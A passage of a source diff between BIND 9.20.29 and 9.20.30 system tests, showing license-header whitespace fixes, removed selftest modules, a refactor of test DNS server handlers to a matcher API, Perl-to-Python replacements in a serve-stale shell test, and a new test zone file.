bind9-9.20.30/bin/tests/system/rrl/tests_sh_rrl.py 2026-10-12 13:12:08.261896790 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/rrsetorder/tests_sh_rrsetorder.py bind9-9.20.30/bin/tests/system/rrsetorder/tests_sh_rrsetorder.py --- bind9-9.20.29/bin/tests/system/rrsetorder/tests_sh_rrsetorder.py 2026-09-11 19:41:01.353327453 +0000 +++ bind9-9.20.30/bin/tests/system/rrsetorder/tests_sh_rrsetorder.py 2026-10-12 13:12:08.263896833 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/rsabigexponent/tests_rsabigexponent.py bind9-9.20.30/bin/tests/system/rsabigexponent/tests_rsabigexponent.py --- bind9-9.20.29/bin/tests/system/rsabigexponent/tests_rsabigexponent.py 2026-09-11 19:41:01.355327501 +0000 +++ bind9-9.20.30/bin/tests/system/rsabigexponent/tests_rsabigexponent.py 2026-10-12 13:12:08.265896875 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/runtime/tests_sh_runtime.py bind9-9.20.30/bin/tests/system/runtime/tests_sh_runtime.py --- bind9-9.20.29/bin/tests/system/runtime/tests_sh_runtime.py 2026-09-11 19:41:01.356327525 +0000 +++ bind9-9.20.30/bin/tests/system/runtime/tests_sh_runtime.py 2026-10-12 13:12:08.266896897 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/selfpointedglue/tests_selfpointedglue.py bind9-9.20.30/bin/tests/system/selfpointedglue/tests_selfpointedglue.py --- bind9-9.20.29/bin/tests/system/selfpointedglue/tests_selfpointedglue.py 2026-09-11 19:41:01.357327549 +0000 +++ bind9-9.20.30/bin/tests/system/selfpointedglue/tests_selfpointedglue.py 2026-10-12 13:12:08.267896918 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/selftest/tests_template.py bind9-9.20.30/bin/tests/system/selftest/tests_template.py --- bind9-9.20.29/bin/tests/system/selftest/tests_template.py 2026-09-11 19:41:01.357327549 +0000 +++ bind9-9.20.30/bin/tests/system/selftest/tests_template.py 1970-01-01 00:00:00.000000000 +0000 @@ -1,90 +0,0 @@ -# Copyright (C) Internet Systems Consortium, Inc. ("ISC") -# -# SPDX-License-Identifier: MPL-2.0 -# -# This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this -# file, you can obtain one at https://mozilla.org/MPL/2.0/. -# -# See the COPYRIGHT file distributed with this work for additional -# information regarding copyright ownership. -""" -isctest.template self-test -Check the {% include_indented %} tag of the TemplateEngine. -""" - -import jinja2 -import pytest - - -def render(templates, system_test_dir, name, source, data=None): - (system_test_dir / f"{name}.j2").write_text(source) - templates.render(name, data) - return (system_test_dir / name).read_text() - - -def test_include_indented(templates, system_test_dir): - (system_test_dir / "inc.conf.j2").write_text("first @word@;\nsecond;\n") - output = render( - templates, - system_test_dir, - "main.conf", - 'block {\n\t{% include_indented "inc.conf.j2" %}\n};\n', - {"word": "value"}, - ) - assert output == "block {\n\tfirst value;\n\tsecond;\n};\n" - - -def test_include_indented_depth_follows_tag(templates, system_test_dir): - (system_test_dir / "inc.conf.j2").write_text("a;\nb;\n") - output = render( - templates, - system_test_dir, - "nested.conf", - 'one {\n\ttwo {\n\t\t{% include_indented "inc.conf.j2" %}\n\t};\n};\n', - ) - assert output == "one {\n\ttwo {\n\t\ta;\n\t\tb;\n\t};\n};\n" - - -def test_include_indented_keeps_blank_lines_blank(templates, system_test_dir): - (system_test_dir / "inc.conf.j2").write_text("a;\n\nb;\n") - output = render( - templates, - system_test_dir, - "blank.conf", - '\t{% include_indented "inc.conf.j2" %}\n', - ) - assert output == "\ta;\n\n\tb;\n" - - -def test_include_indented_must_follow_indentation_only(templates, system_test_dir): - (system_test_dir / "inc.conf.j2").write_text("a;\n") - with pytest.raises(jinja2.TemplateSyntaxError, match="indentation only"): - render( - templates, - system_test_dir, - "inline.conf", - 'block { {% include_indented "inc.conf.j2" %}\n};\n', - ) - - -def test_include_indented_requires_loaded_template(templates): - with pytest.raises(jinja2.TemplateSyntaxError, match="loader-backed"): - templates.j2env.from_string('\t{% include_indented "inc.conf.j2" %}\n') - - -def test_include_indented_common_prefix(templates, system_test_dir): - output = render( - templates, - system_test_dir, - "hint.conf", - 'view v {\n\t{% include_indented "_common/root.hint.conf" %}\n};\n', - ) - assert output == ( - "view v {\n" - '\tzone "." {\n' - "\t\ttype hint;\n" - '\t\tfile "../../_common/root.hint";\n' - "\t};\n" - "};\n" - ) diff -Nru bind9-9.20.29/bin/tests/system/selftest/tests_zone_analyzer.py bind9-9.20.30/bin/tests/system/selftest/tests_zone_analyzer.py --- bind9-9.20.29/bin/tests/system/selftest/tests_zone_analyzer.py 2026-09-11 19:41:01.357327549 +0000 +++ bind9-9.20.30/bin/tests/system/selftest/tests_zone_analyzer.py 1970-01-01 00:00:00.000000000 +0000 @@ -1,228 +0,0 @@ -#!/usr/bin/python3 -# Copyright (C) Internet Systems Consortium, Inc. ("ISC") -# -# SPDX-License-Identifier: MPL-2.0 -# -# This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this -# file, you can obtain one at https://mozilla.org/MPL/2.0/. -# -# See the COPYRIGHT file distributed with this work for additional -# information regarding copyright ownership. -""" -isctest.name.ZoneAnalyzer self-test -Generate insane test zone and check expected output of ZoneAnalyzer utility class -""" - -from pathlib import Path - -import collections -import itertools - -from dns.name import Name - -import dns.name -import pytest - -import isctest.name - -# set of properies present in the tested zone - read by tests_zone_analyzer.py -CATEGORIES = frozenset( - [ - "all_existing_names", - "delegations", - "dnames", - "ents", - "occluded", - "reachable", - "reachable_delegations", - "reachable_dnames", - "reachable_wildcards", - "reachable_wildcard_parents", - "wildcards", - ] -) - - -pytestmark = pytest.mark.extra_artifacts(["analyzer.db"]) -SUFFIX = dns.name.from_text("nsec3.example.") - -LABELS = (b"*", b"dname", b"ent", b"ns", b"txt") -LABEL2RRTYPE = { # leftmost label encodes RR type we will synthesize for given name - b"*": "TXT", - b"dname": "DNAME", - b"ent": None, # ENT is not really a 'type' - b"ns": "NS", - b"txt": "TXT", -} -LABEL2TAGS = { # leftmost label encodes 'initial' meaning of a complete name - b"*": {"wildcards"}, - b"dname": {"dnames"}, - b"ns": {"delegations"}, - b"txt": set(), # perhaps reachable, perhaps not, we need to decide based on other labels -} - - -def name2tags(name): - """ - Decode meaning hidden in labels and their relationships - and return all tags expected from ZoneAnalyzer - """ - tags = LABEL2TAGS[name[0]].copy() - - parent_labels = name[1:] - if b"ns" in parent_labels or b"dname" in parent_labels: - tags.add("occluded") - - if "occluded" not in tags: - tags.add("all_existing_names") - if "delegations" in tags: - # delegations are ambiguous and don't count as 'reachable' - tags.add("reachable_delegations") - elif "dnames" in tags: - tags.add("reachable") - tags.add("reachable_dnames") - elif "wildcards" in tags: - tags.add("reachable") - tags.add("reachable_wildcards") - else: - tags.add("reachable") - - return tags - - -def gen_node(nodes, labels): - name = Name(labels) - nodes[name] = name2tags(name) - - -def add_ents(nodes): - """ - Non-occluded nodes with 'ent' as a parent label imply existence of 'ent' nodes. - """ - new_ents = {} - for name, tags in nodes.items(): - if "occluded" in tags: - continue - - # check if any parent is ENT - entidx = 1 - while True: - try: - entidx = name.labels.index(b"ent", entidx) - except ValueError: - break - entname = Name(name[entidx:]) - new_ents[entname] = {"all_existing_names", "ents"} - entidx += 1 - - return new_ents - - -def tag_wildcard_parents(nodes): - """ - Non-occluded nodes with '*' as a leftmost label tag their immediate parent - nodes as 'reachable_wildcard_parents'. - """ - for name, tags in nodes.items(): - if "occluded" in tags or not name.is_wild(): - continue - - parent_name = Name(name[1:]) - nodes[parent_name].add("reachable_wildcard_parents") - - -def is_non_ent(labels): - """ - Filter out nodes with 'ent' at leftmost position. To become ENT a name must - not have data by itself but have some other node defined underneath it, - and must not be occluded, which is something itertools.product() cannot - decide. - """ - return labels[0] != b"ent" - - -def gen_zone(nodes): - """ - Generate zone file in text format. - - All names are relative. - Right-hand side of RRs contains dot-separated list of categories a node - belongs to (except for zone origin). - """ - for name, tags in sorted(nodes.items()): - if len(name) == 0: - # origin, very special case - yield "@\tSOA\treachable. origin-special-case. 0 0 0 0 0\n" - yield "@\tNS\treachable.\n" - yield "@\tA\t192.0.2.1\n" - continue - - rrtype = LABEL2RRTYPE[name[0]] - if rrtype is None: # ENT - prefix = "; " - else: - prefix = "" - assert tags - yield f"{prefix}{name}\t{rrtype}\t{'.'.join(sorted(tags))}.\n" - - -def gen_expected_output(nodes): - """ - {category: set(names)} mapping used by the pytest check - """ - categories = collections.defaultdict(set) - for name, tags in nodes.items(): - for tag in tags: - categories[tag].add(name) - - assert set(categories.keys()) == CATEGORIES, ( - "CATEGORIES needs updating", - CATEGORIES.symmetric_difference(set(categories.keys())), - ) - - return categories - - -def generate_test_data(): - """ - Prepare the analyzer.db zone file in the current working directory and - return the expected attribute values for the ZoneAnalyzer instance that - will be tested using that file. - """ - nodes = {} - - for length in range(1, len(LABELS) + 1): - for labelseq in filter(is_non_ent, itertools.product(LABELS, repeat=length)): - gen_node(nodes, labelseq) - - # special-case to make this look as a valid DNS zone - it needs zone origin node - nodes[Name([])] = {"all_existing_names", "reachable"} - - nodes.update(add_ents(nodes)) - tag_wildcard_parents(nodes) - - with open("analyzer.db", "w", encoding="ascii") as outf: - outf.writelines(gen_zone(nodes)) - - return gen_expected_output(nodes) - - -if __name__ == "__main__": - generate_test_data() - - -@pytest.fixture(scope="module") -def analyzer_fixture(): - expected_results = generate_test_data() # creates the "analyzer.db" file - analyzer = isctest.name.ZoneAnalyzer.read_path(Path("analyzer.db"), origin=SUFFIX) - return expected_results, analyzer - - -# pylint: disable=redefined-outer-name -@pytest.mark.parametrize("category", sorted(CATEGORIES)) -def test_analyzer_attrs(category, analyzer_fixture): - expected_results, analyzer = analyzer_fixture - # relativize results to zone name to make debugging easier - results = {name.relativize(SUFFIX) for name in getattr(analyzer, category)} - assert results == expected_results[category] diff -Nru bind9-9.20.29/bin/tests/system/serve_stale/ans2/ans.py bind9-9.20.30/bin/tests/system/serve_stale/ans2/ans.py --- bind9-9.20.29/bin/tests/system/serve_stale/ans2/ans.py 2026-09-11 19:41:01.358327573 +0000 +++ bind9-9.20.30/bin/tests/system/serve_stale/ans2/ans.py 2026-10-12 13:12:08.267896918 +0000 @@ -1,27 +1,21 @@ -""" -Copyright (C) Internet Systems Consortium, Inc. ("ISC") - -SPDX-License-Identifier: MPL-2.0 - -This Source Code Form is subject to the terms of the Mozilla Public -License, v. 2.0. If a copy of the MPL was not distributed with this -file, you can obtain one at https://mozilla.org/MPL/2.0/. - -See the COPYRIGHT file distributed with this work for additional -information regarding copyright ownership. -""" +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. import dns.rcode import dns.rdatatype -from isctest.asyncserver import ( - ControllableAsyncDnsServer, - QnameHandler, - QnameQtypeHandler, - ResponseHandler, - StaticResponseHandler, - ToggleResponsesCommand, -) +from isctest.asyncserver import ControllableAsyncDnsServer, ResponseHandler +from isctest.asyncserver.commands import ToggleResponsesCommand +from isctest.asyncserver.handlers import StaticResponseHandler +from isctest.asyncserver.matchers import Qname, Qtype from ..serve_stale_ans import ( a_handler, @@ -37,8 +31,8 @@ ) -class NxdomainExampleHandler(QnameHandler, StaticResponseHandler): - qnames = ["nxdomain.example."] +class NxdomainExampleHandler(StaticResponseHandler): + matcher = Qname("nxdomain.example.") rcode = dns.rcode.NXDOMAIN authority = [soa("example.", ttl=2)] @@ -46,20 +40,19 @@ # A negative answer that stays fresh for the whole run of a test, so that a # resolver refreshing it can only be doing so because it wrongly considers # the cached entry stale. -class LongttlNodataExampleHandler(QnameHandler, StaticResponseHandler): - qnames = ["longttl-nodata.example."] +class LongttlNodataExampleHandler(StaticResponseHandler): + matcher = Qname("longttl-nodata.example.") authority = [soa("example.", ttl=600, minimum=600)] -class LongttlNxdomainExampleHandler(QnameHandler, StaticResponseHandler): - qnames = ["longttl-nxdomain.example."] +class LongttlNxdomainExampleHandler(StaticResponseHandler): + matcher = Qname("longttl-nxdomain.example.") rcode = dns.rcode.NXDOMAIN authority = [soa("example.", ttl=600, minimum=600)] -class OthertypeExampleCaaHandler(QnameQtypeHandler, StaticResponseHandler): - qnames = ["othertype.example."] - qtypes = [dns.rdatatype.CAA] +class OthertypeExampleCaaHandler(StaticResponseHandler): + matcher = Qname("othertype.example.") & Qtype(dns.rdatatype.CAA) answer = [ rrset( "othertype.example.", @@ -70,8 +63,8 @@ ] -class SourceStaleFallbackHandler(QnameHandler, StaticResponseHandler): - qnames = ["source.stale."] +class SourceStaleFallbackHandler(StaticResponseHandler): + matcher = Qname("source.stale.") def handlers() -> list[ResponseHandler]: diff -Nru bind9-9.20.29/bin/tests/system/serve_stale/ans8/ans.py bind9-9.20.30/bin/tests/system/serve_stale/ans8/ans.py --- bind9-9.20.29/bin/tests/system/serve_stale/ans8/ans.py 2026-09-11 19:41:01.358327573 +0000 +++ bind9-9.20.30/bin/tests/system/serve_stale/ans8/ans.py 2026-10-12 13:12:08.267896918 +0000 @@ -1,25 +1,20 @@ -""" -Copyright (C) Internet Systems Consortium, Inc. ("ISC") - -SPDX-License-Identifier: MPL-2.0 - -This Source Code Form is subject to the terms of the Mozilla Public -License, v. 2.0. If a copy of the MPL was not distributed with this -file, you can obtain one at https://mozilla.org/MPL/2.0/. - -See the COPYRIGHT file distributed with this work for additional -information regarding copyright ownership. -""" +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. import dns.rcode -from isctest.asyncserver import ( - ControllableAsyncDnsServer, - QnameHandler, - ResponseHandler, - StaticResponseHandler, - SwitchControlCommand, -) +from isctest.asyncserver import ControllableAsyncDnsServer, ResponseHandler +from isctest.asyncserver.commands import SwitchControlCommand +from isctest.asyncserver.handlers import StaticResponseHandler +from isctest.asyncserver.matchers import Qname from ..serve_stale_ans import ( a_handler, @@ -32,8 +27,8 @@ ANS8_ADDR = "10.53.0.8" -class TargetStaleFallbackHandler(QnameHandler, StaticResponseHandler): - qnames = ["target.stale."] +class TargetStaleFallbackHandler(StaticResponseHandler): + matcher = Qname("target.stale.") def handlers(www_address: str) -> list[ResponseHandler]: diff -Nru bind9-9.20.29/bin/tests/system/serve_stale/ans9/ans.py bind9-9.20.30/bin/tests/system/serve_stale/ans9/ans.py --- bind9-9.20.29/bin/tests/system/serve_stale/ans9/ans.py 2026-09-11 19:41:01.358327573 +0000 +++ bind9-9.20.30/bin/tests/system/serve_stale/ans9/ans.py 2026-10-12 13:12:08.268896939 +0000 @@ -1,15 +1,13 @@ -""" -Copyright (C) Internet Systems Consortium, Inc. ("ISC") - -SPDX-License-Identifier: MPL-2.0 - -This Source Code Form is subject to the terms of the Mozilla Public -License, v. 2.0. If a copy of the MPL was not distributed with this -file, you can obtain one at https://mozilla.org/MPL/2.0/. - -See the COPYRIGHT file distributed with this work for additional -information regarding copyright ownership. -""" +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. from collections.abc import AsyncGenerator @@ -87,9 +85,7 @@ self._inner = inner self._lock = lock super().__init__() - - def match(self, qctx: QueryContext) -> bool: - return self._inner.match(qctx) + self.matcher = inner.matcher async def get_responses( self, qctx: QueryContext diff -Nru bind9-9.20.29/bin/tests/system/serve_stale/serve_stale_ans.py bind9-9.20.30/bin/tests/system/serve_stale/serve_stale_ans.py --- bind9-9.20.29/bin/tests/system/serve_stale/serve_stale_ans.py 2026-09-11 19:41:01.360327621 +0000 +++ bind9-9.20.30/bin/tests/system/serve_stale/serve_stale_ans.py 2026-10-12 13:12:08.270896982 +0000 @@ -1,15 +1,13 @@ -""" -Copyright (C) Internet Systems Consortium, Inc. ("ISC") - -SPDX-License-Identifier: MPL-2.0 - -This Source Code Form is subject to the terms of the Mozilla Public -License, v. 2.0. If a copy of the MPL was not distributed with this -file, you can obtain one at https://mozilla.org/MPL/2.0/. - -See the COPYRIGHT file distributed with this work for additional -information regarding copyright ownership. -""" +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. from collections.abc import Callable, Sequence @@ -19,7 +17,9 @@ import dns.rdatatype import dns.rrset -from isctest.asyncserver import QueryContext, ResponseHandler, StaticResponseHandler +from isctest.asyncserver import ResponseHandler +from isctest.asyncserver.handlers import StaticResponseHandler +from isctest.asyncserver.matchers import Always, Qname, Qtype def rrset( @@ -83,20 +83,15 @@ self._qnames = ( None if qnames is None else [dns.name.from_text(q) for q in qnames] ) - self._qtypes = qtypes + self.matcher = (Qname(*self._qnames) if self._qnames else Always()) & ( + Qtype(*qtypes) if qtypes else Always() + ) self._answer = list(answer) self._authority = list(authority) self._additional = list(additional) self._rcode = rcode self._delay = delay - def match(self, qctx: QueryContext) -> bool: - if self._qnames is not None and qctx.qname not in self._qnames: - return False - if self._qtypes is not None and qctx.qtype not in self._qtypes: - return False - return True - @property def answer(self) -> Sequence[dns.rrset.RRset]: return self._answer diff -Nru bind9-9.20.29/bin/tests/system/serve_stale/tests.sh bind9-9.20.30/bin/tests/system/serve_stale/tests.sh --- bind9-9.20.29/bin/tests/system/serve_stale/tests.sh 2026-09-11 19:41:01.361327645 +0000 +++ bind9-9.20.30/bin/tests/system/serve_stale/tests.sh 2026-10-12 13:12:08.271897004 +0000 @@ -832,7 +832,7 @@ # Keep track of time so we can access these RRset later, when we expect them # to become ancient. -t1=$($PERL -e 'print time()') +t1=$(date +%s) n=$((n + 1)) echo_i "verify prime cache statistics (low max-stale-ttl) ($n)" @@ -930,7 +930,7 @@ # We add 2 seconds to it since this is the ttl value of the records being # tested. interval_to_ancient=$((interval_to_ancient + 2)) -t2=$($PERL -e 'print time()') +t2=$(date +%s) elapsed=$((t2 - t1)) # If elapsed time so far is less than max-stale-ttl + 2 seconds, then we sleep @@ -1603,11 +1603,12 @@ # Load the cache as if it was five minutes (RBTDB_VIRTUAL) older. Since # max-stale-ttl defaults to a week, we need to adjust the date by one week and # five minutes. -LASTWEEK=$(TZ=UTC perl -e 'my $now = time(); - my $oneWeekAgo = $now - 604800; - my $fiveMinutesAgo = $oneWeekAgo - 300; - my ($s, $m, $h, $d, $mo, $y) = (localtime($fiveMinutesAgo))[0, 1, 2, 3, 4, 5]; - printf("%04d%02d%02d%02d%02d%02d", $y+1900, $mo+1, $d, $h, $m, $s);') +LASTWEEK=$($PYTHON -c ' +import time + +last_week = time.time() - 604800 - 300 +print(time.strftime("%Y%m%d%H%M%S", time.gmtime(last_week))) +') echo_i "mock the cache date to $LASTWEEK (serve-stale answers disabled) ($n)" ret=0 @@ -1843,10 +1844,12 @@ # Load the cache as if it was five minutes (RBTDB_VIRTUAL) older. cp ns5/named_dump.db.test$n ns5/named_dump.db -FIVEMINUTESAGO=$(TZ=UTC perl -e 'my $now = time(); - my $fiveMinutesAgo = 300; - my ($s, $m, $h, $d, $mo, $y) = (localtime($fiveMinutesAgo))[0, 1, 2, 3, 4, 5]; - printf("%04d%02d%02d%02d%02d%02d", $y+1900, $mo+1, $d, $h, $m, $s);') +FIVEMINUTESAGO=$($PYTHON -c ' +import time + +five_minutes_ago = time.time() - 300 +print(time.strftime("%Y%m%d%H%M%S", time.gmtime(five_minutes_ago))) +') n=$((n + 1)) echo_i "mock the cache date to $FIVEMINUTESAGO (serve-stale cache disabled) ($n)" @@ -2598,7 +2601,7 @@ num=$((num - 1)) echo "fetch${num}.example A" >>burst.input.$$ done - $PERL ../ditch.pl -p ${PORT} -s 10.53.0.3 -b ${EXTRAPORT8} burst.input.$$ + $PYTHON -m isctest.tools.ditch -p ${PORT} -s 10.53.0.3 -b ${EXTRAPORT8} burst.input.$$ rm -f burst.input.$$ } diff -Nru bind9-9.20.29/bin/tests/system/serve_stale/tests_serve_stale_ncache.py bind9-9.20.30/bin/tests/system/serve_stale/tests_serve_stale_ncache.py --- bind9-9.20.29/bin/tests/system/serve_stale/tests_serve_stale_ncache.py 2026-09-11 19:41:01.361327645 +0000 +++ bind9-9.20.30/bin/tests/system/serve_stale/tests_serve_stale_ncache.py 2026-10-12 13:12:08.271897004 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -27,7 +27,6 @@ pytestmark = pytest.mark.extra_artifacts( [ - "ans*/ans.run", "ns*/root.bk", ] ) @@ -39,7 +38,9 @@ def upstream_queries(ans2: AnsInstance, qname: str) -> int: - """Number of TXT queries for `qname` which reached the authoritative server.""" + """ + Number of TXT queries for `qname` which reached the authoritative server. + """ return len(ans2.log.grep(f"Received {qname.rstrip('.')}/IN/TXT ")) diff -Nru bind9-9.20.29/bin/tests/system/serve_stale/tests_serve_stale_tcp.py bind9-9.20.30/bin/tests/system/serve_stale/tests_serve_stale_tcp.py --- bind9-9.20.29/bin/tests/system/serve_stale/tests_serve_stale_tcp.py 2026-09-11 19:41:01.361327645 +0000 +++ bind9-9.20.30/bin/tests/system/serve_stale/tests_serve_stale_tcp.py 2026-10-12 13:12:08.271897004 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -26,7 +26,6 @@ pytestmark = pytest.mark.extra_artifacts( [ - "ans*/ans.run", "ns*/root.bk", ] ) @@ -55,7 +54,8 @@ def test_no_stale_data_times_out(): - """Verify the resolver does not answer until the query timeout. + """ + Verify the resolver does not answer until the query timeout. With the authoritative server unresponsive and the queried name absent from the cache, the client must not receive a fast SERVFAIL @@ -73,7 +73,8 @@ def test_servfail_with_ede22(): - """Verify SERVFAIL carries EDE 22 (and not EDE 3) when auth is unreachable. + """ + Verify SERVFAIL carries EDE 22 (and not EDE 3) when auth is unreachable. With the authoritative server unresponsive and no cached data to serve stale, the resolver must return SERVFAIL with EDE 22 (No @@ -95,7 +96,8 @@ def test_authoritative_answer_after_reenable(): - """Verify the resolver waits for auth to recover instead of failing fast. + """ + Verify the resolver waits for auth to recover instead of failing fast. Prime the cache, let the TTL expire, disable the authoritative server, issue a query, and re-enable the authoritative server diff -Nru bind9-9.20.29/bin/tests/system/serve_stale/tests_sh_serve_stale.py bind9-9.20.30/bin/tests/system/serve_stale/tests_sh_serve_stale.py --- bind9-9.20.29/bin/tests/system/serve_stale/tests_sh_serve_stale.py 2026-09-11 19:41:01.361327645 +0000 +++ bind9-9.20.30/bin/tests/system/serve_stale/tests_sh_serve_stale.py 2026-10-12 13:12:08.271897004 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -15,7 +15,6 @@ [ "dig.out.*", "rndc.out.*", - "ans*/ans.run", "ns*/named.stats*", "ns*/named_dump*", "ns*/root.bk", diff -Nru bind9-9.20.29/bin/tests/system/sfcache/tests_sh_sfcache.py bind9-9.20.30/bin/tests/system/sfcache/tests_sh_sfcache.py --- bind9-9.20.29/bin/tests/system/sfcache/tests_sh_sfcache.py 2026-09-11 19:41:01.362327668 +0000 +++ bind9-9.20.30/bin/tests/system/sfcache/tests_sh_sfcache.py 2026-10-12 13:12:08.272897025 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/sfcache_cname/tests_sfcache_cname.py bind9-9.20.30/bin/tests/system/sfcache_cname/tests_sfcache_cname.py --- bind9-9.20.29/bin/tests/system/sfcache_cname/tests_sfcache_cname.py 2026-09-11 19:41:01.363327693 +0000 +++ bind9-9.20.30/bin/tests/system/sfcache_cname/tests_sfcache_cname.py 2026-10-12 13:12:08.272897025 +0000 @@ -3,13 +3,12 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. - import dns.message import isctest diff -Nru bind9-9.20.29/bin/tests/system/shutdown/tests_shutdown.py bind9-9.20.30/bin/tests/system/shutdown/tests_shutdown.py --- bind9-9.20.29/bin/tests/system/shutdown/tests_shutdown.py 2026-09-11 19:41:01.363327693 +0000 +++ bind9-9.20.30/bin/tests/system/shutdown/tests_shutdown.py 2026-10-12 13:12:08.273897046 +0000 @@ -1,11 +1,9 @@ -#!/usr/bin/python3 - # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -34,7 +32,8 @@ def do_work(named_proc, resolver_ip, instance, kill_method, n_workers, n_queries): - """Creates a number of A queries to run in parallel + """ + Creates a number of A queries to run in parallel in order simulate a slightly more realistic test scenario. The main idea of this function is to create and send a bunch diff -Nru bind9-9.20.29/bin/tests/system/sig0/ns1/example2.db bind9-9.20.30/bin/tests/system/sig0/ns1/example2.db --- bind9-9.20.29/bin/tests/system/sig0/ns1/example2.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/sig0/ns1/example2.db 2026-10-12 13:12:08.273897046 +0000 @@ -0,0 +1,9 @@ +@ 3600 SOA n1.example. hostmaster.ns1.example. ( + 1 3600 1200 604800 7200 ) + NS ns2.example. + NS ns3.example. +ns1 A 10.53.0.1 +ns2 A 10.53.0.2 +ns3 A 10.53.0.3 +test A 1.2.3.4 +sig0.example2. IN KEY 0 3 163 c3Ryb25nIGVub3VnaCBmb3IgYSBtYW4gYnV0IG1hZGUgZm9yIGEgd29tYW4K diff -Nru bind9-9.20.29/bin/tests/system/sig0/ns1/named.conf.j2 bind9-9.20.30/bin/tests/system/sig0/ns1/named.conf.j2 --- bind9-9.20.29/bin/tests/system/sig0/ns1/named.conf.j2 2026-09-11 19:41:01.363327693 +0000 +++ bind9-9.20.30/bin/tests/system/sig0/ns1/named.conf.j2 2026-10-12 13:12:08.273897046 +0000 @@ -15,14 +15,22 @@ {% include_indented 